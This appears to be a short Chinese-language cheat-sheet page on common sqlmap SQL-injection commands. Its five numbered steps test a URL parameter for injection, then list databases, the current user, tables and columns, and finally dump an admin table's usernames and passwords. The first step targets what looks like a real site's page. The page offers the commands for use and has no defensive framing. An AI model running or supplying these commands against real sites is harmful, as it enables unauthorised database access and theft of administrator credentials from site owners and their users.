SQLMAP注入常见用法

时间:2023-03-10 08:31:53
SQLMAP注入常见用法

1.检查注入点

sqlmap -u http://www.com.tw/star_photo.php?artist_id=11

SQLMAP注入常见用法

2.列数据库信息当前用户和数据库

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 --dbs --current-user --current-db

SQLMAP注入常见用法

SQLMAP注入常见用法

3.指定库名列出所有表

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL --tables

SQLMAP注入常见用法

4.指定库名表名列出所有字段

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL  -T DB_admin --columns

SQLMAP注入常见用法

5.指定库名表名字段dump出指定字段

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL  -T admin -C id,,username,userpws --dump

SQLMAP注入常见用法